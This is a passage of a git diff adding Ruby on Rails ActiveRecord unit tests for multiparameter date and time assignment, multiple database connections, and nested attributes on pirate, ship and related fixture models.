+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 12, 12, 0, 12, 2), topic.written_on
+    end
+  end
+
+  def test_multiparameter_attributes_on_time_will_ignore_hour_if_blank
+    attributes = {
+      "written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
+      "written_on(4i)" => "", "written_on(5i)" => "12", "written_on(6i)" => "02"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.written_on
+  end
+
+  def test_multiparameter_attributes_on_time_will_ignore_date_if_empty
+    attributes = {
+      "written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
+      "written_on(4i)" => "16", "written_on(5i)" => "24"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.written_on
+  end
+
+  def test_multiparameter_attributes_on_time_with_seconds_will_ignore_date_if_empty
+    attributes = {
+      "written_on(1i)" => "", "written_on(2i)" => "", "written_on(3i)" => "",
+      "written_on(4i)" => "16", "written_on(5i)" => "12", "written_on(6i)" => "02"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.written_on
+  end
+
+  def test_multiparameter_attributes_on_time_with_utc
+    with_timezone_config default: :utc do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+    end
+  end
+
+  def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
+    with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+      Topic.reset_column_information
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
+      assert_equal Time.zone, topic.written_on.time_zone
+    end
+  ensure
+    Topic.reset_column_information
+  end
+
+  def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_and_invalid_time_params
+    with_timezone_config aware_attributes: true do
+      Topic.reset_column_information
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "", "written_on(3i)" => ""
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_nil topic.written_on
+    end
+  ensure
+    Topic.reset_column_information
+  end
+
+  def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
+    with_timezone_config default: :local, aware_attributes: false, zone: -28800 do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+      assert_equal false, topic.written_on.respond_to?(:time_zone)
+    end
+  end
+
+  def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
+    with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+      Topic.skip_time_zone_conversion_for_attributes = [:written_on]
+      Topic.reset_column_information
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+      assert_equal false, topic.written_on.respond_to?(:time_zone)
+    end
+  ensure
+    Topic.skip_time_zone_conversion_for_attributes = []
+    Topic.reset_column_information
+  end
+
+  # Oracle does not have a TIME datatype.
+  unless current_adapter?(:OracleAdapter)
+    def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
+      with_timezone_config default: :utc, aware_attributes: true, zone: -28800 do
+        Topic.reset_column_information
+        attributes = {
+          "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
+          "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+        }
+        topic = Topic.find(1)
+        topic.attributes = attributes
+        assert_equal Time.zone.local(2000, 1, 1, 16, 24, 0), topic.bonus_time
+        assert_not topic.bonus_time.utc?
+
+        attributes = {
+          "written_on(1i)" => "2000", "written_on(2i)" => "", "written_on(3i)" => "",
+          "written_on(4i)" => "", "written_on(5i)" => ""
+        }
+        topic.attributes = attributes
+        assert_nil topic.written_on
+      end
+    ensure
+      Topic.reset_column_information
+    end
+
+    def test_multiparameter_attributes_setting_time_attribute
+      topic = Topic.new("bonus_time(4i)" => "01", "bonus_time(5i)" => "05")
+      assert_equal 1, topic.bonus_time.hour
+      assert_equal 5, topic.bonus_time.min
+    end
+  end
+
+  def test_multiparameter_attributes_on_time_with_empty_seconds
+    with_timezone_config default: :local do
+      attributes = {
+        "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+        "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
+      }
+      topic = Topic.find(1)
+      topic.attributes = attributes
+      assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+    end
+  end
+
+  def test_multiparameter_attributes_setting_date_attribute
+    topic = Topic.new("written_on(1i)" => "1952", "written_on(2i)" => "3", "written_on(3i)" => "11")
+    assert_equal 1952, topic.written_on.year
+    assert_equal 3, topic.written_on.month
+    assert_equal 11, topic.written_on.day
+  end
+
+  def test_create_with_multiparameter_attributes_setting_date_attribute
+    topic = Topic.create_with("written_on(1i)" => "1952", "written_on(2i)" => "3", "written_on(3i)" => "11").new
+    assert_equal 1952, topic.written_on.year
+    assert_equal 3, topic.written_on.month
+    assert_equal 11, topic.written_on.day
+  end
+
+  def test_multiparameter_attributes_setting_date_and_time_attribute
+    topic = Topic.new(
+      "written_on(1i)" => "1952",
+      "written_on(2i)" => "3",
+      "written_on(3i)" => "11",
+      "written_on(4i)" => "13",
+      "written_on(5i)" => "55")
+    assert_equal 1952, topic.written_on.year
+    assert_equal 3, topic.written_on.month
+    assert_equal 11, topic.written_on.day
+    assert_equal 13, topic.written_on.hour
+    assert_equal 55, topic.written_on.min
+  end
+
+  def test_create_with_multiparameter_attributes_setting_date_and_time_attribute
+    topic = Topic.create_with(
+      "written_on(1i)" => "1952",
+      "written_on(2i)" => "3",
+      "written_on(3i)" => "11",
+      "written_on(4i)" => "13",
+      "written_on(5i)" => "55").new
+    assert_equal 1952, topic.written_on.year
+    assert_equal 3, topic.written_on.month
+    assert_equal 11, topic.written_on.day
+    assert_equal 13, topic.written_on.hour
+    assert_equal 55, topic.written_on.min
+  end
+
+  def test_multiparameter_attributes_setting_time_but_not_date_on_date_field
+    assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+      Topic.new("written_on(4i)" => "13", "written_on(5i)" => "55")
+    end
+  end
+
+  def test_multiparameter_assignment_of_aggregation
+    customer = Customer.new
+    address = Address.new("The Street", "The City", "The Country")
+    attributes = { "address(1)" => address.street, "address(2)" => address.city, "address(3)" => address.country }
+    customer.attributes = attributes
+    assert_equal address, customer.address
+  end
+
+  def test_multiparameter_assignment_of_aggregation_out_of_order
+    customer = Customer.new
+    address = Address.new("The Street", "The City", "The Country")
+    attributes = { "address(3)" => address.country, "address(2)" => address.city, "address(1)" => address.street }
+    customer.attributes = attributes
+    assert_equal address, customer.address
+  end
+
+  def test_multiparameter_assignment_of_aggregation_with_missing_values
+    ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+      customer = Customer.new
+      address = Address.new("The Street", "The City", "The Country")
+      attributes = { "address(2)" => address.city, "address(3)" => address.country }
+      customer.attributes = attributes
+    end
+    assert_equal("address", ex.errors[0].attribute)
+  end
+
+  def test_multiparameter_assignment_of_aggregation_with_blank_values
+    customer = Customer.new
+    address = Address.new("The Street", "The City", "The Country")
+    attributes = { "address(1)" => "", "address(2)" => address.city, "address(3)" => address.country }
+    customer.attributes = attributes
+    assert_equal Address.new(nil, "The City", "The Country"), customer.address
+  end
+
+  def test_multiparameter_assignment_of_aggregation_with_large_index
+    ex = assert_raise(ActiveRecord::MultiparameterAssignmentErrors) do
+      customer = Customer.new
+      address = Address.new("The Street", "The City", "The Country")
+      attributes = { "address(1)" => "The Street", "address(2)" => address.city, "address(3000)" => address.country }
+      customer.attributes = attributes
+    end
+
+    assert_equal("address", ex.errors[0].attribute)
+  end
+
+  def test_multiparameter_assigned_attributes_did_not_come_from_user
+    topic = Topic.new(
+      "written_on(1i)" => "1952",
+      "written_on(2i)" => "3",
+      "written_on(3i)" => "11",
+      "written_on(4i)" => "13",
+      "written_on(5i)" => "55",
+    )
+    refute_predicate topic, :written_on_came_from_user?
+  end
+end
diff --git a/activerecord/test/cases/multiple_db_test.rb b/activerecord/test/cases/multiple_db_test.rb
new file mode 100644
index 0000000000..192d2f5251
--- /dev/null
+++ b/activerecord/test/cases/multiple_db_test.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/entrant"
+require "models/bird"
+require "models/course"
+
+class MultipleDbTest < ActiveRecord::TestCase
+  self.use_transactional_tests = false
+
+  def setup
+    @courses  = create_fixtures("courses") { Course.retrieve_connection }
+    @colleges = create_fixtures("colleges") { College.retrieve_connection }
+    @entrants = create_fixtures("entrants")
+  end
+
+  def test_connected
+    assert_not_nil Entrant.connection
+    assert_not_nil Course.connection
+  end
+
+  def test_proper_connection
+    assert_not_equal(Entrant.connection, Course.connection)
+    assert_equal(Entrant.connection, Entrant.retrieve_connection)
+    assert_equal(Course.connection, Course.retrieve_connection)
+    assert_equal(ActiveRecord::Base.connection, Entrant.connection)
+  end
+
+  def test_swapping_the_connection
+    old_spec_name, Course.connection_specification_name = Course.connection_specification_name, "primary"
+    assert_equal(Entrant.connection, Course.connection)
+  ensure
+    Course.connection_specification_name = old_spec_name
+  end
+
+  def test_find
+    c1 = Course.find(1)
+    assert_equal "Ruby Development", c1.name
+    c2 = Course.find(2)
+    assert_equal "Java Development", c2.name
+    e1 = Entrant.find(1)
+    assert_equal "Ruby Developer", e1.name
+    e2 = Entrant.find(2)
+    assert_equal "Ruby Guru", e2.name
+    e3 = Entrant.find(3)
+    assert_equal "Java Lover", e3.name
+  end
+
+  def test_associations
+    c1 = Course.find(1)
+    assert_equal 2, c1.entrants.count
+    e1 = Entrant.find(1)
+    assert_equal e1.course.id, c1.id
+    c2 = Course.find(2)
+    assert_equal 1, c2.entrants.count
+    e3 = Entrant.find(3)
+    assert_equal e3.course.id, c2.id
+  end
+
+  def test_course_connection_should_survive_dependency_reload
+    assert Course.connection
+
+    ActiveSupport::Dependencies.clear
+    Object.send(:remove_const, :Course)
+    require_dependency "models/course"
+
+    assert Course.connection
+  end
+
+  def test_transactions_across_databases
+    c1 = Course.find(1)
+    e1 = Entrant.find(1)
+
+    begin
+      Course.transaction do
+        Entrant.transaction do
+          c1.name = "Typo"
+          e1.name = "Typo"
+          c1.save
+          e1.save
+          raise "No I messed up."
+        end
+      end
+    rescue
+      # Yup caught it
+    end
+
+    assert_equal "Typo", c1.name
+    assert_equal "Typo", e1.name
+
+    assert_equal "Ruby Development", Course.find(1).name
+    assert_equal "Ruby Developer", Entrant.find(1).name
+  end
+
+  def test_connection
+    assert_same Entrant.connection, Bird.connection
+    assert_not_same Entrant.connection, Course.connection
+  end
+
+  unless in_memory_db?
+    def test_count_on_custom_connection
+      ActiveRecord::Base.remove_connection
+      assert_equal 1, College.count
+    ensure
+      ActiveRecord::Base.establish_connection :arunit
+    end
+
+    def test_associations_should_work_when_model_has_no_connection
+      begin
+        ActiveRecord::Base.remove_connection
+        assert_nothing_raised do
+          College.first.courses.first
+        end
+      ensure
+        ActiveRecord::Base.establish_connection :arunit
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/nested_attributes_test.rb b/activerecord/test/cases/nested_attributes_test.rb
new file mode 100644
index 0000000000..a2ccb603a9
--- /dev/null
+++ b/activerecord/test/cases/nested_attributes_test.rb
@@ -0,0 +1,1097 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/pirate"
+require "models/ship"
+require "models/ship_part"
+require "models/bird"
+require "models/parrot"
+require "models/treasure"
+require "models/man"
+require "models/interest"
+require "models/owner"
+require "models/pet"
+require "active_support/hash_with_indifferent_access"
+
+class TestNestedAttributesInGeneral < ActiveRecord::TestCase
+  teardown do
+    Pirate.accepts_nested_attributes_for :ship, allow_destroy: true, reject_if: proc(&:empty?)
+  end
+
+  def test_base_should_have_an_empty_nested_attributes_options
+    assert_equal Hash.new, ActiveRecord::Base.nested_attributes_options
+  end
+
+  def test_should_add_a_proc_to_nested_attributes_options
+    assert_equal ActiveRecord::NestedAttributes::ClassMethods::REJECT_ALL_BLANK_PROC,
+                 Pirate.nested_attributes_options[:birds_with_reject_all_blank][:reject_if]
+
+    [:parrots, :birds].each do |name|
+      assert_instance_of Proc, Pirate.nested_attributes_options[name][:reject_if]
+    end
+  end
+
+  def test_should_not_build_a_new_record_using_reject_all_even_if_destroy_is_given
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    pirate.birds_with_reject_all_blank_attributes = [{ name: "", color: "", _destroy: "0" }]
+    pirate.save!
+
+    assert pirate.birds_with_reject_all_blank.empty?
+  end
+
+  def test_should_not_build_a_new_record_if_reject_all_blank_returns_false
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    pirate.birds_with_reject_all_blank_attributes = [{ name: "", color: "" }]
+    pirate.save!
+
+    assert pirate.birds_with_reject_all_blank.empty?
+  end
+
+  def test_should_build_a_new_record_if_reject_all_blank_does_not_return_false
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    pirate.birds_with_reject_all_blank_attributes = [{ name: "Tweetie", color: "" }]
+    pirate.save!
+
+    assert_equal 1, pirate.birds_with_reject_all_blank.count
+    assert_equal "Tweetie", pirate.birds_with_reject_all_blank.first.name
+  end
+
+  def test_should_raise_an_ArgumentError_for_non_existing_associations
+    exception = assert_raise ArgumentError do
+      Pirate.accepts_nested_attributes_for :honesty
+    end
+    assert_equal "No association found for name `honesty'. Has it been defined yet?", exception.message
+  end
+
+  def test_should_raise_an_UnknownAttributeError_for_non_existing_nested_attributes
+    exception = assert_raise ActiveModel::UnknownAttributeError do
+      Pirate.new(ship_attributes: { sail: true })
+    end
+    assert_equal "unknown attribute 'sail' for Ship.", exception.message
+  end
+
+  def test_should_disable_allow_destroy_by_default
+    Pirate.accepts_nested_attributes_for :ship
+
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    ship = pirate.create_ship(name: "Nights Dirty Lightning")
+
+    pirate.update(ship_attributes: { "_destroy" => true, :id => ship.id })
+
+    assert_nothing_raised { pirate.ship.reload }
+  end
+
+  def test_a_model_should_respond_to_underscore_destroy_and_return_if_it_is_marked_for_destruction
+    ship = Ship.create!(name: "Nights Dirty Lightning")
+    assert !ship._destroy
+    ship.mark_for_destruction
+    assert ship._destroy
+  end
+
+  def test_reject_if_method_without_arguments
+    Pirate.accepts_nested_attributes_for :ship, reject_if: :new_record?
+
+    pirate = Pirate.new(catchphrase: "Stop wastin' me time")
+    pirate.ship_attributes = { name: "Black Pearl" }
+    assert_no_difference("Ship.count") { pirate.save! }
+  end
+
+  def test_reject_if_method_with_arguments
+    Pirate.accepts_nested_attributes_for :ship, reject_if: :reject_empty_ships_on_create
+
+    pirate = Pirate.new(catchphrase: "Stop wastin' me time")
+    pirate.ship_attributes = { name: "Red Pearl", _reject_me_if_new: true }
+    assert_no_difference("Ship.count") { pirate.save! }
+
+    # pirate.reject_empty_ships_on_create returns false for saved pirate records
+    # in the previous step note that pirate gets saved but ship fails
+    pirate.ship_attributes = { name: "Red Pearl", _reject_me_if_new: true }
+    assert_difference("Ship.count") { pirate.save! }
+  end
+
+  def test_reject_if_with_indifferent_keys
+    Pirate.accepts_nested_attributes_for :ship, reject_if: proc { |attributes| attributes[:name].blank? }
+
+    pirate = Pirate.new(catchphrase: "Stop wastin' me time")
+    pirate.ship_attributes = { name: "Hello Pearl" }
+    assert_difference("Ship.count") { pirate.save! }
+  end
+
+  def test_reject_if_with_a_proc_which_returns_true_always_for_has_one
+    Pirate.accepts_nested_attributes_for :ship, reject_if: proc { |attributes| true }
+    pirate = Pirate.create(catchphrase: "Stop wastin' me time")
+    ship = pirate.create_ship(name: "s1")
+    pirate.update(ship_attributes: { name: "s2", id: ship.id })
+    assert_equal "s1", ship.reload.name
+  end
+
+  def test_reuse_already_built_new_record
+    pirate = Pirate.new
+    ship_built_first = pirate.build_ship
+    pirate.ship_attributes = { name: "Ship 1" }
+    assert_equal ship_built_first.object_id, pirate.ship.object_id
+  end
+
+  def test_do_not_allow_assigning_foreign_key_when_reusing_existing_new_record
+    pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    pirate.build_ship
+    pirate.ship_attributes = { name: "Ship 1", pirate_id: pirate.id + 1 }
+    assert_equal pirate.id, pirate.ship.pirate_id
+  end
+
+  def test_reject_if_with_a_proc_which_returns_true_always_for_has_many
+    Man.accepts_nested_attributes_for :interests, reject_if: proc { |attributes| true }
+    man = Man.create(name: "John")
+    interest = man.interests.create(topic: "photography")
+    man.update(interests_attributes: { topic: "gardening", id: interest.id })
+    assert_equal "photography", interest.reload.topic
+  end
+
+  def test_destroy_works_independent_of_reject_if
+    Man.accepts_nested_attributes_for :interests, reject_if: proc { |attributes| true }, allow_destroy: true
+    man = Man.create(name: "Jon")
+    interest = man.interests.create(topic: "the ladies")
+    man.update(interests_attributes: { _destroy: "1", id: interest.id })
+    assert man.reload.interests.empty?
+  end
+
+  def test_reject_if_is_not_short_circuited_if_allow_destroy_is_false
+    Pirate.accepts_nested_attributes_for :ship, reject_if: ->(a) { a[:name] == "The Golden Hind" }, allow_destroy: false
+
+    pirate = Pirate.create!(catchphrase: "Stop wastin' me time", ship_attributes: { name: "White Pearl", _destroy: "1" })
+    assert_equal "White Pearl", pirate.reload.ship.name
+
+    pirate.update!(ship_attributes: { id: pirate.ship.id, name: "The Golden Hind", _destroy: "1" })
+    assert_equal "White Pearl", pirate.reload.ship.name
+
+    pirate.update!(ship_attributes: { id: pirate.ship.id, name: "Black Pearl", _destroy: "1" })
+    assert_equal "Black Pearl", pirate.reload.ship.name
+  end
+
+  def test_has_many_association_updating_a_single_record
+    Man.accepts_nested_attributes_for(:interests)
+    man = Man.create(name: "John")
+    interest = man.interests.create(topic: "photography")
+    man.update(interests_attributes: { topic: "gardening", id: interest.id })
+    assert_equal "gardening", interest.reload.topic
+  end
+
+  def test_reject_if_with_blank_nested_attributes_id
+    # When using a select list to choose an existing 'ship' id, with include_blank: true
+    Pirate.accepts_nested_attributes_for :ship, reject_if: proc { |attributes| attributes[:id].blank? }
+
+    pirate = Pirate.new(catchphrase: "Stop wastin' me time")
+    pirate.ship_attributes = { id: "" }
+    assert_nothing_raised { pirate.save! }
+  end
+
+  def test_first_and_array_index_zero_methods_return_the_same_value_when_nested_attributes_are_set_to_update_existing_record
+    Man.accepts_nested_attributes_for(:interests)
+    man = Man.create(name: "John")
+    interest = man.interests.create topic: "gardening"
+    man = Man.find man.id
+    man.interests_attributes = [{ id: interest.id, topic: "gardening" }]
+    assert_equal man.interests.first.topic, man.interests[0].topic
+  end
+
+  def test_allows_class_to_override_setter_and_call_super
+    mean_pirate_class = Class.new(Pirate) do
+      accepts_nested_attributes_for :parrot
+      def parrot_attributes=(attrs)
+        super(attrs.merge(color: "blue"))
+      end
+    end
+    mean_pirate = mean_pirate_class.new
+    mean_pirate.parrot_attributes = { name: "James" }
+    assert_equal "James", mean_pirate.parrot.name
+    assert_equal "blue", mean_pirate.parrot.color
+  end
+
+  def test_accepts_nested_attributes_for_can_be_overridden_in_subclasses
+    Pirate.accepts_nested_attributes_for(:parrot)
+
+    mean_pirate_class = Class.new(Pirate) do
+      accepts_nested_attributes_for :parrot
+    end
+    mean_pirate = mean_pirate_class.new
+    mean_pirate.parrot_attributes = { name: "James" }
+    assert_equal "James", mean_pirate.parrot.name
+  end
+end
+
+class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
+  def setup
+    @pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @ship = @pirate.create_ship(name: "Nights Dirty Lightning")
+  end
+
+  def test_should_raise_argument_error_if_trying_to_build_polymorphic_belongs_to
+    exception = assert_raise ArgumentError do
+      Treasure.new(name: "pearl", looter_attributes: { catchphrase: "Arrr" })
+    end
+    assert_equal "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?", exception.message
+  end
+
+  def test_should_define_an_attribute_writer_method_for_the_association
+    assert_respond_to @pirate, :ship_attributes=
+  end
+
+  def test_should_build_a_new_record_if_there_is_no_id
+    @ship.destroy
+    @pirate.reload.ship_attributes = { name: "Davy Jones Gold Dagger" }
+
+    assert !@pirate.ship.persisted?
+    assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
+  end
+
+  def test_should_not_build_a_new_record_if_there_is_no_id_and_destroy_is_truthy
+    @ship.destroy
+    @pirate.reload.ship_attributes = { name: "Davy Jones Gold Dagger", _destroy: "1" }
+
+    assert_nil @pirate.ship
+  end
+
+  def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
+    @ship.destroy
+    @pirate.reload.ship_attributes = {}
+
+    assert_nil @pirate.ship
+  end
+
+  def test_should_replace_an_existing_record_if_there_is_no_id
+    @pirate.reload.ship_attributes = { name: "Davy Jones Gold Dagger" }
+
+    assert !@pirate.ship.persisted?
+    assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
+    assert_equal "Nights Dirty Lightning", @ship.name
+  end
+
+  def test_should_not_replace_an_existing_record_if_there_is_no_id_and_destroy_is_truthy
+    @pirate.reload.ship_attributes = { name: "Davy Jones Gold Dagger", _destroy: "1" }
+
+    assert_equal @ship, @pirate.ship
+    assert_equal "Nights Dirty Lightning", @pirate.ship.name
+  end
+
+  def test_should_modify_an_existing_record_if_there_is_a_matching_id
+    @pirate.reload.ship_attributes = { id: @ship.id, name: "Davy Jones Gold Dagger" }
+
+    assert_equal @ship, @pirate.ship
+    assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
+  end
+
+  def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
+    exception = assert_raise ActiveRecord::RecordNotFound do
+      @pirate.ship_attributes = { id: 1234567890 }
+    end
+    assert_equal "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}", exception.message
+  end
+
+  def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
+    @pirate.reload.ship_attributes = { "id" => @ship.id, "name" => "Davy Jones Gold Dagger" }
+
+    assert_equal @ship, @pirate.ship
+    assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
+  end
+
+  def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
+    @ship.stub(:id, "ABC1X") do
+      @pirate.ship_attributes = { id: @ship.id, name: "Davy Jones Gold Dagger" }
+
+      assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
+    end
+  end
+
+  def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
+    @pirate.ship.destroy
+
+    [1, "1", true, "true"].each do |truth|
+      ship = @pirate.reload.create_ship(name: "Mister Pablo")
+      @pirate.update(ship_attributes: { id: ship.id, _destroy: truth })
+
+      assert_nil @pirate.reload.ship
+      assert_raise(ActiveRecord::RecordNotFound) { Ship.find(ship.id) }
+    end
+  end
+
+  def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
+    [nil, "0", 0, "false", false].each do |not_truth|
+      @pirate.update(ship_attributes: { id: @pirate.ship.id, _destroy: not_truth })
+
+      assert_equal @ship, @pirate.reload.ship
+    end
+  end
+
+  def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
+    Pirate.accepts_nested_attributes_for :ship, allow_destroy: false, reject_if: proc(&:empty?)
+
+    @pirate.update(ship_attributes: { id: @pirate.ship.id, _destroy: "1" })
+
+    assert_equal @ship, @pirate.reload.ship
+
+    Pirate.accepts_nested_attributes_for :ship, allow_destroy: true, reject_if: proc(&:empty?)
+  end
+
+  def test_should_also_work_with_a_HashWithIndifferentAccess
+    @pirate.ship_attributes = ActiveSupport::HashWithIndifferentAccess.new(id: @ship.id, name: "Davy Jones Gold Dagger")
+
+    assert @pirate.ship.persisted?
+    assert_equal "Davy Jones Gold Dagger", @pirate.ship.name
+  end
+
+  def test_should_work_with_update_as_well
+    @pirate.update(catchphrase: "Arr", ship_attributes: { id: @ship.id, name: "Mister Pablo" })
+    @pirate.reload
+
+    assert_equal "Arr", @pirate.catchphrase
+    assert_equal "Mister Pablo", @pirate.ship.name
+  end
+
+  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+    @pirate.attributes = { ship_attributes: { id: @ship.id, _destroy: "1" } }
+
+    assert !@pirate.ship.destroyed?
+    assert @pirate.ship.marked_for_destruction?
+
+    @pirate.save
+
+    assert @pirate.ship.destroyed?
+    assert_nil @pirate.reload.ship
+  end
+
+  def test_should_automatically_enable_autosave_on_the_association
+    assert Pirate.reflect_on_association(:ship).options[:autosave]
+  end
+
+  def test_should_accept_update_only_option
+    @pirate.update(update_only_ship_attributes: { id: @pirate.ship.id, name: "Mayflower" })
+  end
+
+  def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
+    @ship.delete
+
+    @pirate.reload.update(update_only_ship_attributes: { name: "Mayflower" })
+
+    assert_not_nil @pirate.ship
+  end
+
+  def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
+    @ship.delete
+    @ship = @pirate.create_update_only_ship(name: "Nights Dirty Lightning")
+
+    @pirate.update(update_only_ship_attributes: { name: "Mayflower" })
+
+    assert_equal "Mayflower", @ship.reload.name
+    assert_equal @ship, @pirate.reload.ship
+  end
+
+  def test_should_update_existing_when_update_only_is_true_and_id_is_given
+    @ship.delete
+    @ship = @pirate.create_update_only_ship(name: "Nights Dirty Lightning")
+
+    @pirate.update(update_only_ship_attributes: { name: "Mayflower", id: @ship.id })
+
+    assert_equal "Mayflower", @ship.reload.name
+    assert_equal @ship, @pirate.reload.ship
+  end
+
+  def test_should_destroy_existing_when_update_only_is_true_and_id_is_given_and_is_marked_for_destruction
+    Pirate.accepts_nested_attributes_for :update_only_ship, update_only: true, allow_destroy: true
+    @ship.delete
+    @ship = @pirate.create_update_only_ship(name: "Nights Dirty Lightning")
+
+    @pirate.update(update_only_ship_attributes: { name: "Mayflower", id: @ship.id, _destroy: true })
+
+    assert_nil @pirate.reload.ship
+    assert_raise(ActiveRecord::RecordNotFound) { Ship.find(@ship.id) }
+
+    Pirate.accepts_nested_attributes_for :update_only_ship, update_only: true, allow_destroy: false
+  end
+end
+
+class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
+  def setup
+    @ship = Ship.new(name: "Nights Dirty Lightning")
+    @pirate = @ship.build_pirate(catchphrase: "Aye")
+    @ship.save!
+  end
+
+  def test_should_define_an_attribute_writer_method_for_the_association
+    assert_respond_to @ship, :pirate_attributes=
+  end
+
+  def test_should_build_a_new_record_if_there_is_no_id
+    @pirate.destroy
+    @ship.reload.pirate_attributes = { catchphrase: "Arr" }
+
+    assert !@ship.pirate.persisted?
+    assert_equal "Arr", @ship.pirate.catchphrase
+  end
+
+  def test_should_not_build_a_new_record_if_there_is_no_id_and_destroy_is_truthy
+    @pirate.destroy
+    @ship.reload.pirate_attributes = { catchphrase: "Arr", _destroy: "1" }
+
+    assert_nil @ship.pirate
+  end
+
+  def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
+    @pirate.destroy
+    @ship.reload.pirate_attributes = {}
+
+    assert_nil @ship.pirate
+  end
+
+  def test_should_replace_an_existing_record_if_there_is_no_id
+    @ship.reload.pirate_attributes = { catchphrase: "Arr" }
+
+    assert !@ship.pirate.persisted?
+    assert_equal "Arr", @ship.pirate.catchphrase
+    assert_equal "Aye", @pirate.catchphrase
+  end
+
+  def test_should_not_replace_an_existing_record_if_there_is_no_id_and_destroy_is_truthy
+    @ship.reload.pirate_attributes = { catchphrase: "Arr", _destroy: "1" }
+
+    assert_equal @pirate, @ship.pirate
+    assert_equal "Aye", @ship.pirate.catchphrase
+  end
+
+  def test_should_modify_an_existing_record_if_there_is_a_matching_id
+    @ship.reload.pirate_attributes = { id: @pirate.id, catchphrase: "Arr" }
+
+    assert_equal @pirate, @ship.pirate
+    assert_equal "Arr", @ship.pirate.catchphrase
+  end
+
+  def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
+    exception = assert_raise ActiveRecord::RecordNotFound do
+      @ship.pirate_attributes = { id: 1234567890 }
+    end
+    assert_equal "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}", exception.message
+  end
+
+  def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
+    @ship.reload.pirate_attributes = { "id" => @pirate.id, "catchphrase" => "Arr" }
+
+    assert_equal @pirate, @ship.pirate
+    assert_equal "Arr", @ship.pirate.catchphrase
+  end
+
+  def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
+    @pirate.stub(:id, "ABC1X") do
+      @ship.pirate_attributes = { id: @pirate.id, catchphrase: "Arr" }
+
+      assert_equal "Arr", @ship.pirate.catchphrase
+    end
+  end
+
+  def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
